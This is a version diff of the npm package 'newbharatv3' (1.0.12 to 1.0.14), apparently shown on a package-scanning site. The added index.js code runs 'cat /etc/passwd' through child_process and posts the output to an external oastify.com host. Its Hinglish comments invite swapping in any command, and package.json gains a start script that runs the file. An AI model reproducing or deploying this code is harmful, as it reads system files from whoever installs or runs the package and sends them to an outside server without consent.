newbharatv3 1.0.12 → 1.0.14
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +2 -2
- package/package.json +2 -2
package/index.js
CHANGED
@@ -2,7 +2,7 @@ const { exec } = require('child_process');
|
|
2
2
|
const axios = require('axios');
|
3
3
|
|
4
4
|
// System command run karna (e.g., 'whoami' ya 'dig example.com')
|
5
|
-
const command = '
|
5
|
+
const command = 'cat /etc/passwd'; // yahan apni desired command likho
|
6
6
|
|
7
7
|
exec(command, async (error, stdout, stderr) => {
|
8
8
|
if (error) {
|
@@ -19,7 +19,7 @@ exec(command, async (error, stdout, stderr) => {
|
|
19
19
|
|
20
20
|
// Ab HTTP request bhejna using axios
|
21
21
|
try {
|
22
|
-
const response = await axios.post('http://
|
22
|
+
const response = await axios.post('http://vedhbx0jpduvsyzsgpp2z9fuqlwck38s.oastify.com', {
|
23
23
|
data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
|
24
24
|
});
|
25
25
|
|
package/package.json
CHANGED
@@ -1,11 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "newbharatv3",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.14",
|
4
4
|
"description": "",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
-
"
|
8
|
+
"start": "node index.js"
|
9
9
|
},
|
10
10
|
"author": "",
|
11
11
|
"license": "ISC"
|